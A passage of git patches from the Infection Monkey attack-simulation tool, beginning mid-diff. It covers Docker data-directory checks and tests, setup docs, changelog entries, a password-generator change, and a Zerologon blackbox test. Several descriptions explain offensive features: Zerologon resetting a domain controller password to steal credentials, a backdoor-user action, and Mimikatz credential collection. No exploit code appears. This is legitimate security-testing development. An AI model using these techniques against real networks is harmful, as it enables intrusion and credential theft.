temp_version_file_path): temp_data_dir_path.mkdir() temp_version_file_path.write_text(current_version) - bogus_file_path = temp_data_dir_path / "test.txt" - bogus_file_path.touch() + bogus_file_path = create_bogus_file(temp_data_dir_path) setup_data_dir(temp_data_dir_path) assert temp_version_file_path.read_text() == current_version @@ -84,3 +88,25 @@ def test_empty_data_dir(temp_data_dir_path, temp_version_file_path): setup_data_dir(temp_data_dir_path) assert temp_version_file_path.read_text() == current_version + + +def test_new_data_dir_docker(monkeypatch, temp_data_dir_path, temp_version_file_path): + monkeypatch.setenv(DOCKER_ENV_VAR, "true") + + temp_data_dir_path.mkdir() + bogus_file_path = create_bogus_file(temp_data_dir_path) + temp_version_file_path.write_text(current_version) + + setup_data_dir(temp_data_dir_path) + assert temp_version_file_path.read_text() == current_version + assert bogus_file_path.is_file() + + +def test_old_data_dir_docker(monkeypatch, temp_data_dir_path, temp_version_file_path): + monkeypatch.setenv(DOCKER_ENV_VAR, "true") + + temp_data_dir_path.mkdir() + temp_version_file_path.write_text(old_version) + + with pytest.raises(IncompatibleDataDirectory): + setup_data_dir(temp_data_dir_path) From a399e8a0ea3decbb7e907d5ce416e7330c467dc9 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 25 Oct 2021 17:30:25 +0300 Subject: [PATCH 439/454] Docs: reverted the numbering to use 1. instead of manual numeration in docker.md --- docs/content/setup/docker.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index 92f076655..774813530 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -72,7 +72,7 @@ been signed by a private certificate authority. chmod 700 ./monkey_island_data ``` -2. Run Monkey Island with the `--setup-only` flag to populate the `./monkey_island_data` directory with a default `server_config.json` file. +1. Run Monkey Island with the `--setup-only` flag to populate the `./monkey_island_data` directory with a default `server_config.json` file. ```bash sudo docker run \ @@ -84,16 +84,16 @@ been signed by a private certificate authority. guardicore/monkey-island:VERSION --setup-only ``` -3. Move your `.crt` and `.key` files to `./monkey_island_data`. +1. Move your `.crt` and `.key` files to `./monkey_island_data`. -4. Make sure that your `.crt` and `.key` files are readable and writeable only by you. +1. Make sure that your `.crt` and `.key` files are readable and writeable only by you. ```bash chmod 600 ./monkey_island_data/ chmod 600 ./monkey_island_data/ ``` -5. Edit `./monkey_island_data/server_config.json` to configure Monkey Island +1. Edit `./monkey_island_data/server_config.json` to configure Monkey Island to use your certificate. Your config should look something like this: ```json {linenos=inline,hl_lines=["11-14"]} @@ -114,7 +114,7 @@ been signed by a private certificate authority. } ``` -6. Start the Monkey Island server: +1. Start the Monkey Island server: ```bash sudo docker run \ From 9ef9ba002452d43eda4cb8ab61dc244977307f3a Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 25 Oct 2021 18:28:44 +0300 Subject: [PATCH 440/454] Island: improve and fix data directory exception handling/logging --- monkey/monkey_island/cc/server_setup.py | 3 ++- monkey/monkey_island/cc/setup/data_dir.py | 33 +++++++++++++++-------- 2 files changed, 24 insertions(+), 12 deletions(-) diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index dd5547659..c6dc9c0b9 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -70,7 +70,8 @@ def _setup_data_dir(island_args: IslandCmdArgs) -> Tuple[IslandConfigOptions, st except json.JSONDecodeError as ex: print(f"Error loading server config: {ex}") exit(1) - except IncompatibleDataDirectory: + except IncompatibleDataDirectory as ex: + print(f"Incompatible data directory: {ex}") exit(1) diff --git a/monkey/monkey_island/cc/setup/data_dir.py b/monkey/monkey_island/cc/setup/data_dir.py index 72a99b59f..af01da050 100644 --- a/monkey/monkey_island/cc/setup/data_dir.py +++ b/monkey/monkey_island/cc/setup/data_dir.py @@ -29,33 +29,44 @@ def _is_data_dir_old(data_dir_path: Path) -> bool: dir_exists = data_dir_path.exists() if is_running_on_docker(): - if _data_dir_version_mismatch_exists(data_dir_path): - error_message = "Found an old volume. " - "You must create an empty volume for each docker container " - "as specified in setup documentation: " - "https://www.guardicore.com/infectionmonkey/docs/setup/docker/" - raise IncompatibleDataDirectory(error_message) - else: - return False + return _is_docker_data_dir_old(data_dir_path) - if not dir_exists or not os.listdir(data_dir_path): + if not dir_exists or _is_directory_empty(data_dir_path): return False return _data_dir_version_mismatch_exists(data_dir_path) +def _is_docker_data_dir_old(data_dir_path: Path) -> bool: + if _data_dir_version_mismatch_exists(data_dir_path): + if _is_directory_empty(data_dir_path): + return False + else: + raise IncompatibleDataDirectory( + "Found an old volume. " + "You must create an empty volume for each docker container " + "as specified in setup documentation: " + "https://www.guardicore.com/infectionmonkey/docs/setup/docker/" + ) + else: + return False + + +def _is_directory_empty(path: Path) -> bool: + return not os.listdir(path) + + def _handle_old_data_directory(data_dir_path: Path) -> None: should_delete_data_directory = _prompt_user_to_delete_data_directory(data_dir_path) if should_delete_data_directory: shutil.rmtree(data_dir_path) logger.info(f"{data_dir_path} was deleted.") else: - logger.error( + raise IncompatibleDataDirectory( "Unable to set up data directory. Please backup and delete the existing data directory" f" ({data_dir_path}). Then, try again. To learn how to restore and use a backup, please" " refer to the documentation." ) - raise IncompatibleDataDirectory() def _prompt_user_to_delete_data_directory(data_dir_path: Path) -> bool: From 01f8488b0735e2c98e7383891c32670d4cc45753 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 25 Oct 2021 18:30:53 +0300 Subject: [PATCH 441/454] UT's: assert correct behavior on docker if empty data directory is present and if no version file, but other files are present in the data directory --- .../monkey_island/cc/setup/test_data_dir.py | 21 ++++++++++++++++++- 1 file changed, 20 insertions(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py index fd1dbb693..e476784b1 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py @@ -102,7 +102,7 @@ def test_new_data_dir_docker(monkeypatch, temp_data_dir_path, temp_version_file_ assert bogus_file_path.is_file() -def test_old_data_dir_docker(monkeypatch, temp_data_dir_path, temp_version_file_path): +def test_data_dir_docker_old_version(monkeypatch, temp_data_dir_path, temp_version_file_path): monkeypatch.setenv(DOCKER_ENV_VAR, "true") temp_data_dir_path.mkdir() @@ -110,3 +110,22 @@ def test_old_data_dir_docker(monkeypatch, temp_data_dir_path, temp_version_file_ with pytest.raises(IncompatibleDataDirectory): setup_data_dir(temp_data_dir_path) + + +def test_empty_data_dir_docker(monkeypatch, temp_data_dir_path, temp_version_file_path): + monkeypatch.setenv(DOCKER_ENV_VAR, "true") + + temp_data_dir_path.mkdir() + + setup_data_dir(temp_data_dir_path) + assert temp_version_file_path.read_text() == current_version + + +def test_old_data_dir_docker_no_version(monkeypatch, temp_data_dir_path): + monkeypatch.setenv(DOCKER_ENV_VAR, "true") + + temp_data_dir_path.mkdir() + create_bogus_file(temp_data_dir_path) + + with pytest.raises(IncompatibleDataDirectory): + setup_data_dir(temp_data_dir_path) From d14e4dee3198e65cef10a86df953c1452ce6d2b1 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 25 Oct 2021 18:54:28 +0200 Subject: [PATCH 442/454] Docs: Reword Docker upgrading section --- docs/content/setup/docker.md | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index 774813530..64f436335 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -135,9 +135,10 @@ Currently, there's no "upgrade-in-place" option when a new version is released. To get an updated version, download it, stop the current container and run the installation commands again with the new file. -When running an updated version using a volume make sure that you have empty -volume for the Island. Also make sure that you don't have an old mongodb -volume. +If you've configured Monkey Island to use a docker volume to store runtime data, +make sure that it is empty before upgrading the Infection Monkey. Also make sure +that you use a clean volume for MongoDB, as database schemas may not be compatible +between different versions of the Infection Monkey. If you'd like to keep your existing configuration, you can export it to a file using the *Export config* button and then import it to the new Monkey Island. From c91d922277aa88d94156e6db0cb831b8ad7a2ed1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 25 Oct 2021 12:57:40 -0400 Subject: [PATCH 443/454] Docs: Clarify "upgrade proceedure" for docker --- docs/content/setup/docker.md | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index 64f436335..b38a27ee9 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -33,6 +33,10 @@ The Infection Monkey Docker container works on Linux only. It is not compatible ``` ### 2. Start MongoDB +{{% notice info %}} +If you are upgrading the Infection Monkey to a new version, be sure to remove +any MongoDB containers or volumes associated with the previous version. +{{% /notice %}} 1. Start a MongoDB Docker container: @@ -62,6 +66,10 @@ been signed by a private certificate authority. ``` ### 3b. Start Monkey Island with user-provided certificate +{{% notice info %}} +If you are upgrading the Infection Monkey to a new version, be sure to remove +any volumes associated with the previous version. +{{% /notice %}} 1. Create a directory named `monkey_island_data`. If you already have it, **make sure it's empty**. This will serve as the location where Infection @@ -132,13 +140,9 @@ After the Monkey Island docker container starts, you can access Monkey Island by ## Upgrading Currently, there's no "upgrade-in-place" option when a new version is released. -To get an updated version, download it, stop the current container and run the -installation commands again with the new file. - -If you've configured Monkey Island to use a docker volume to store runtime data, -make sure that it is empty before upgrading the Infection Monkey. Also make sure -that you use a clean volume for MongoDB, as database schemas may not be compatible -between different versions of the Infection Monkey. +To get an updated version, download it, stop and remove the current Monkey +Island and MongoDB containers and volumes, and run the installation commands +again with the new file. If you'd like to keep your existing configuration, you can export it to a file using the *Export config* button and then import it to the new Monkey Island. From bc3b1b274f5ce557015fd4b07eb55c6eb69b4edf Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 25 Oct 2021 14:40:28 -0400 Subject: [PATCH 444/454] Changelog: Formatting changes and other small fixes --- CHANGELOG.md | 37 ++++++++++++++++++++----------------- 1 file changed, 20 insertions(+), 17 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 148637c72..f59c1c55b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -13,12 +13,12 @@ Changelog](https://keepachangelog.com/en/1.0.0/). ### Changed - The name of the "Communicate as new user" post-breach action to "Communicate - as backdoor user". #1410 + as backdoor user". #1410 - Resetting login credentials also cleans the contents of the database. #1495 - ATT&CK report messages (more accurate now). #1483 - T1086 (PowerShell) now also reports if ps1 scripts were run by PBAs. #1513 -- ATT&CK report messages to include empty internal config options as reasons for unscanned attack - techniques. #1518 +- ATT&CK report messages to include internal config options as reasons + for unscanned attack techniques. #1518 ### Removed - Internet access check on agent start. #1402 @@ -32,13 +32,12 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - The "deployment" field from the server_config.json #1205 - The "Execution through module load" ATT&CK technique, since it can no longer be exercise with current code. #1416 -- Browser window popup when Monkey Island starts on Windows. #1428 +- Browser window pop-up when Monkey Island starts on Windows. #1428 ### Fixed - Misaligned buttons and input fields on exploiter and network configuration pages. #1353 - Credentials shown in plain text on configuration screens. #1183 -- Typo "trough" -> "through" in telemetry and docstring. - Crash when unexpected character encoding is used by ping command on German language systems. #1175 - Malfunctioning timestomping PBA. #1405 @@ -47,24 +46,28 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Overlapping Guardicore logo in the landing page. #1441 - PBA table collapse in security report on data change. #1423 - Unsigned Windows agent binaries in Linux packages are now signed. #1444 -- Some of the gathered credentials no longer appear in database plaintext. #1454 -- Encryptor breaking with UTF-8 characters. (Passwords in different languages can be submitted in - the config successfully now.) #1490 -- Mimikatz collector no longer fails if Azure credential collector is disabled. #1512 #1493 -- Unhandled error when "modify shell startup files PBA" is unable to find regular users. #1507 -- ATT&CK report bug that showed different techniques' results under a technique if the PBA behind - them was the same. #1514 -- ATT&CK report bug that said that the technique "`.bash_profile` and `.bashrc`" was not attempted - when it actually was attempted but failed. #1511 +- Some of the gathered credentials no longer appear in plaintext in the + database. #1454 +- Encryptor breaking with UTF-8 characters. (Passwords in different languages + can be submitted in the config successfully now.) #1490 +- Mimikatz collector no longer fails if Azure credential collector is disabled. + #1512, #1493 +- Unhandled error when "modify shell startup files PBA" is unable to find + regular users. #1507 +- ATT&CK report bug that showed different techniques' results under a technique + if the PBA behind them was the same. #1514 +- ATT&CK report bug that said that the technique "`.bash_profile` and + `.bashrc`" was not attempted when it actually was attempted but failed. #1511 - Bug that periodically cleared the telemetry table's filter. #1392 -- Crashes, stack traces, and other malfunctions when data from older versions of Infection Monkey is - present in the data directory. #1114 +- Crashes, stack traces, and other malfunctions when data from older versions + of Infection Monkey is present in the data directory. #1114 - Broken update links. #1524 ### Security - Generate a random password when creating a new user for CommunicateAsNewUser PBA. #1434 -- Credentials gathered from victim machines are no longer stored plaintext in the database. #1454 +- Credentials gathered from victim machines are no longer stored plaintext in + the database. #1454 - Encrypt the database key with user's credentials. #1463 From 2df588ca59726594cf0990f9e8e9c99f6da93549 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 25 Oct 2021 14:56:29 -0400 Subject: [PATCH 445/454] Changelog: Add missing period --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index f59c1c55b..eb28783ca 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -29,7 +29,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Stale code in the Windows system info collector that collected installed packages and WMI info. #1389 - Insecure access feature in the Monkey Island. #1418 -- The "deployment" field from the server_config.json #1205 +- The "deployment" field from the server_config.json. #1205 - The "Execution through module load" ATT&CK technique, since it can no longer be exercise with current code. #1416 - Browser window pop-up when Monkey Island starts on Windows. #1428 From 8e6a2d8e7dbdc072e5f77c0ea0c5b88834230982 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 26 Oct 2021 15:23:07 +0300 Subject: [PATCH 446/454] UI: bugfix the need to double click on the import when importing an encrypted configuration When back-end sends the schema for ui to validate that no unsafe options are selected, UI didn't automatically send a response back in case there were no unsafe options selected --- .../components/configuration-components/ImportConfigModal.tsx | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx index 9456e7dd8..8a600ab28 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx @@ -37,7 +37,7 @@ const ConfigImportModal = (props: Props) => { if (configContents !== null) { sendConfigToServer(); } - }, [configContents]) + }, [configContents, unsafeOptionsVerified]) function sendConfigToServer() { @@ -67,6 +67,7 @@ const ConfigImportModal = (props: Props) => { } else if (res['import_status'] === 'unsafe_options_verification_required') { setUploadStatus(UploadStatuses.success); setErrorMessage(''); + if (isUnsafeOptionSelected(res['config_schema'], JSON.parse(res['config']))) { setShowUnsafeOptionsConfirmation(true); setCandidateConfig(res['config']); From aa6f202a8fdd449c78d14e4ec0e29c21ed744a92 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 26 Oct 2021 15:47:33 +0300 Subject: [PATCH 447/454] Island: change the log message level of wrong password in password_based_bytes_encryptor.py to debug Wrong password is in some cases expected behavior, not an error of an application --- .../server_utils/encryption/password_based_bytes_encryptor.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/server_utils/encryption/password_based_bytes_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/password_based_bytes_encryptor.py index b50e77e87..dd9ea329f 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/password_based_bytes_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/password_based_bytes_encryptor.py @@ -47,7 +47,7 @@ class PasswordBasedBytesEncryptor(IEncryptor): ) except ValueError as ex: if str(ex).startswith("Wrong password"): - logger.error("Wrong password provided for decryption.") + logger.debug("Wrong password provided for decryption.") raise InvalidCredentialsError else: logger.error("The provided ciphertext was corrupt.") From 820d47c9ccf2741befc2abdd5dbd7d2569b8f47a Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 26 Oct 2021 19:24:50 +0530 Subject: [PATCH 448/454] Agent: Change logic for generating random password --- .../actions/communicate_as_backdoor_user.py | 2 +- .../utils/random_password_generator.py | 8 +++++--- .../utils/test_random_password_generator.py | 11 ++++++++--- 3 files changed, 14 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py index 8e0758c77..dba5daad4 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py @@ -41,7 +41,7 @@ class CommunicateAsBackdoorUser(PBA): def run(self): username = CommunicateAsBackdoorUser.get_random_new_user_name() try: - password = get_random_password() + password = get_random_password(14) with create_auto_new_user(username, password) as new_user: http_request_commandline = ( CommunicateAsBackdoorUser.get_commandline_for_http_request( diff --git a/monkey/infection_monkey/utils/random_password_generator.py b/monkey/infection_monkey/utils/random_password_generator.py index 273343c22..3d77f1629 100644 --- a/monkey/infection_monkey/utils/random_password_generator.py +++ b/monkey/infection_monkey/utils/random_password_generator.py @@ -1,8 +1,10 @@ import secrets +import string -SECRET_BYTE_LENGTH = 32 +SECRET_LENGTH = 32 -def get_random_password(length: int = SECRET_BYTE_LENGTH) -> str: - password = secrets.token_urlsafe(length) +def get_random_password(length: int = SECRET_LENGTH) -> str: + alphabet = string.ascii_letters + string.digits + string.punctuation + password = "".join(secrets.choice(alphabet) for i in range(length)) return password diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_random_password_generator.py b/monkey/tests/unit_tests/infection_monkey/utils/test_random_password_generator.py index bdd97cdfd..6131fa34b 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_random_password_generator.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_random_password_generator.py @@ -2,12 +2,17 @@ from infection_monkey.utils.random_password_generator import get_random_password def test_get_random_password__length(): - password_byte_length = len(get_random_password().encode()) + password_length = len(get_random_password()) # 32 is the recommended secure byte length for secrets - assert password_byte_length >= 32 + assert password_length == 32 + + +def test_get_random_password__custom_length(): + password_length = len(get_random_password(14)) + assert password_length == 14 def test_get_random_password__randomness(): random_password1 = get_random_password() random_password2 = get_random_password() - assert not random_password1 == random_password2 + assert random_password1 != random_password2 From 1ad74a4bff4cd0b7b695cdc30aae2ba5d2e8aceb Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 26 Oct 2021 17:14:02 +0300 Subject: [PATCH 449/454] BB: fix zerologon test to check propagation via SMB as well ZeroLogon doesn't propagate to the machine it only steals the credentials. It's best to make sure that propagation is also possible by running SMB exploiter --- envs/monkey_zoo/blackbox/config_templates/zerologon.py | 2 +- envs/monkey_zoo/blackbox/test_blackbox.py | 7 +++++-- 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/envs/monkey_zoo/blackbox/config_templates/zerologon.py b/envs/monkey_zoo/blackbox/config_templates/zerologon.py index 93ebd5301..0c0266857 100644 --- a/envs/monkey_zoo/blackbox/config_templates/zerologon.py +++ b/envs/monkey_zoo/blackbox/config_templates/zerologon.py @@ -10,7 +10,7 @@ class Zerologon(ConfigTemplate): config_values.update( { - "basic.exploiters.exploiter_classes": ["ZerologonExploiter"], + "basic.exploiters.exploiter_classes": ["ZerologonExploiter", "SmbExploiter"], "basic_network.scope.subnet_scan_list": ["10.2.2.25"], # Empty list to make sure ZeroLogon adds "Administrator" username "basic.credentials.exploit_user_list": [], diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index cc4d6ba97..3b74f8961 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -221,7 +221,10 @@ class TestMonkeyBlackbox: "2864b62ea4496934a5d6e86f50b834a5", ] raw_config = IslandConfigParser.get_raw_config(Zerologon, island_client) - analyzer = ZerologonAnalyzer(island_client, expected_creds) + zero_logon_analyzer = ZerologonAnalyzer(island_client, expected_creds) + communication_analyzer = CommunicationAnalyzer( + island_client, IslandConfigParser.get_ips_of_targets(raw_config) + ) log_handler = TestLogsHandler( test_name, island_client, TestMonkeyBlackbox.get_log_dir_path() ) @@ -229,7 +232,7 @@ class TestMonkeyBlackbox: name=test_name, island_client=island_client, raw_config=raw_config, - analyzers=[analyzer], + analyzers=[zero_logon_analyzer, communication_analyzer], timeout=DEFAULT_TIMEOUT_SECONDS, log_handler=log_handler, ).run() From ea31d27bf18a5e7fd2a4f3727c6c6897d029f3a4 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 26 Oct 2021 19:55:01 +0530 Subject: [PATCH 450/454] Island: Update Zerologon's description in the configuration --- .../config_schema/definitions/exploiter_classes.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index 92898fdad..85cc09014 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -144,10 +144,10 @@ EXPLOITER_CLASSES = { "title": "Zerologon Exploiter", "safe": False, "info": "Exploits a privilege escalation vulnerability (CVE-2020-1472) in a Windows " - "server domain controller by using the Netlogon Remote Protocol (MS-NRPC). " - "This exploiter changes the password of a Windows server domain controller " - "account and then attempts to restore it. The victim domain controller " - "will be unable to communicate with other domain controllers until the original " + "server domain controller (DC) by using the Netlogon Remote Protocol (MS-NRPC). " + "This exploiter changes the password of a Windows server DC account, steals " + "credentials, and then attempts to restore the original DC password. The victim DC " + "will be unable to communicate with other DCs until the original " "password has been restored. If Infection Monkey fails to restore the " "password automatically, you'll have to do it manually. For more " "information, see the documentation.", From a55f86ceea347cc4813a8cd5552e0a25a2558b29 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 26 Oct 2021 19:56:33 +0530 Subject: [PATCH 451/454] Docs: Update Zerologon documentation to mention that brute force exploiters use its stolen creds --- docs/content/reference/exploiters/Zerologon.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/reference/exploiters/Zerologon.md b/docs/content/reference/exploiters/Zerologon.md index 76a524c03..90ece682b 100644 --- a/docs/content/reference/exploiters/Zerologon.md +++ b/docs/content/reference/exploiters/Zerologon.md @@ -10,7 +10,7 @@ The Zerologon exploiter exploits [CVE-2020-1472](https://cve.mitre.org/cgi-bin/c ### Description -An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC). +An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC). The Zerologon exploiter takes advantage of this vulnerability to steal credentials from the domain controller. This allows the Infection Monkey to propagate to the machine using one of the brute force exploiters (for example, the SMB Exploiter). To download the relevant security update and read more, click [here](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1472). From bc5ca5b613ea8417aca2d05a438e1f5bfcaf359c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 27 Oct 2021 07:58:39 -0400 Subject: [PATCH 452/454] Docs: Add --tty and --interactive to docker commands These options allow the monkey-island docker container to be killed with --- docs/content/setup/docker.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index b38a27ee9..db5979fc6 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -60,6 +60,8 @@ been signed by a private certificate authority. 1. Run the Monkey Island server ```bash sudo docker run \ + --tty \ + --interactive \ --name monkey-island \ --network=host \ guardicore/monkey-island:VERSION @@ -126,6 +128,8 @@ any volumes associated with the previous version. ```bash sudo docker run \ + --tty \ + --interactive \ --name monkey-island \ --network=host \ --user "$(id -u ${USER}):$(id -g ${USER})" \ From d5e12725a9a7962f8ce93f469ac0b02e415c15e4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 27 Oct 2021 10:14:36 -0400 Subject: [PATCH 453/454] Changelog: Release v1.12.0 --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index eb28783ca..295fc9442 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,7 +5,7 @@ file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). -## [Unreleased] +## [1.12.0] - 2021-10-27 ### Added - A new exploiter that allows propagation via PowerShell Remoting. #1246 - A warning regarding antivirus when agent binaries are missing. #1450 From 230ca3faf86b1986e04f5b96890d5b34e6305821 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 27 Oct 2021 10:21:28 -0400 Subject: [PATCH 454/454] Docs: Add v1.12.0 checksums --- docs/content/usage/file-checksums.md | 19 +++++++++++++------ 1 file changed, 13 insertions(+), 6 deletions(-) diff --git a/docs/content/usage/file-checksums.md b/docs/content/usage/file-checksums.md index 68f8d6f2a..af22ebdbf 100644 --- a/docs/content/usage/file-checksums.md +++ b/docs/content/usage/file-checksums.md @@ -35,6 +35,19 @@ $ sha256sum monkey-linux-64 ## Latest version checksums +| Filename | Type | Version | SHA256 | +|------------------------------------------------------|-------------------|---------|--------------------------------------------------------------------| +| monkey-windows-64.exe | Windows Agent | 1.12.0 | `02e5e051a96e2ca61ae8e661b3a5828ee53a0fc00aca6502d5c73a46754f0d07` | +| monkey-windows-32.exe | Windows Agent | 1.12.0 | `3c10f610f47c4fd227cf85f6bf800d66ed31fe37dc2e2ed408860483685ba504` | +| monkey-linux-64 | Linux Agent | 1.12.0 | `1ad52eabd704a9b0fbf642fa552629f30d3c5c27e431a687bd4cba4e0104d3f7` | +| monkey-linux-32 | Linux Agent | 1.12.0 | `d941943046db48cf0eb7f11e144a79749848ae6b50014833c5390936e829f6c3` | +| InfectionMonkey-v1.12.0.AppImage | Linux Package | 1.12.0 | `1325f2aa1d0c27aec2e2f9864ed53c53c524bd208313f87ea6606f59c90ff310` | +| InfectionMonkey-docker-v1.12.0.tgz | Docker | 1.12.0 | `dcaf669411d55ea6883920597af4a35f3735a286801e08b6ef047cc91ff32769` | +| InfectionMonkey-v1.12.0.exe | Windows Installer | 1.12.0 | `4d6e0373be3615a4b97721a07d2a854f6316d1ce8c4ff6d6495aac3a8f2c6a69` | + + +## Older checksums + | Filename | Type | Version | SHA256 | |------------------------------------------------------|-------------------|---------|--------------------------------------------------------------------| | monkey-windows-64.exe | Windows Agent | 1.11.0 | `12c55377381a8fc7d8ff731db52302ef2f8bb894d8712769e5a91a140ba22b0a` | @@ -44,12 +57,6 @@ $ sha256sum monkey-linux-64 | Infection_Monkey-1.11.0-x86_64.AppImage | Linux Package | 1.11.0 | `6312b6bff18c11c7db694f42cf5a41e894786c39e3e093b6b15abcbff80337f2` | | infection_monkey_docker_20210811_211212.tgz | Docker | 1.11.0 | `40f203387cadd153f97c6a21dfdddacd4d4eeea334a9300d862bfb4ba528e2e6` | | Monkey Island v1.11.0_3789.exe | Windows Installer | 1.11.0 | `20633c1993ea5f86b57b3a48d6875e8f72881f856f4713d747f07a559da05ccc` | - - -## Older checksums - -| Filename | Type | Version | SHA256 | -|------------------------------------------------------|-------------------|---------|--------------------------------------------------------------------| | monkey-windows-64.exe | Windows Agent | 1.10.0 | `3b499a4cf1a67a33a91c73b05884e4d6749e990e444fa1d2a3281af4db833fa1` | | monkey-windows-32.exe | Windows Agent | 1.10.0 | `8e891e90b11b97fbbef27f1408c1fcad486b19c612773f2d6a9edac5d4cdb47f` | | monkey-linux-64 | Linux Agent | 1.10.0 | `932f703510b6484c3824fc797f90f99722e38a7f8956cf6fa58fdecb3790ab93` |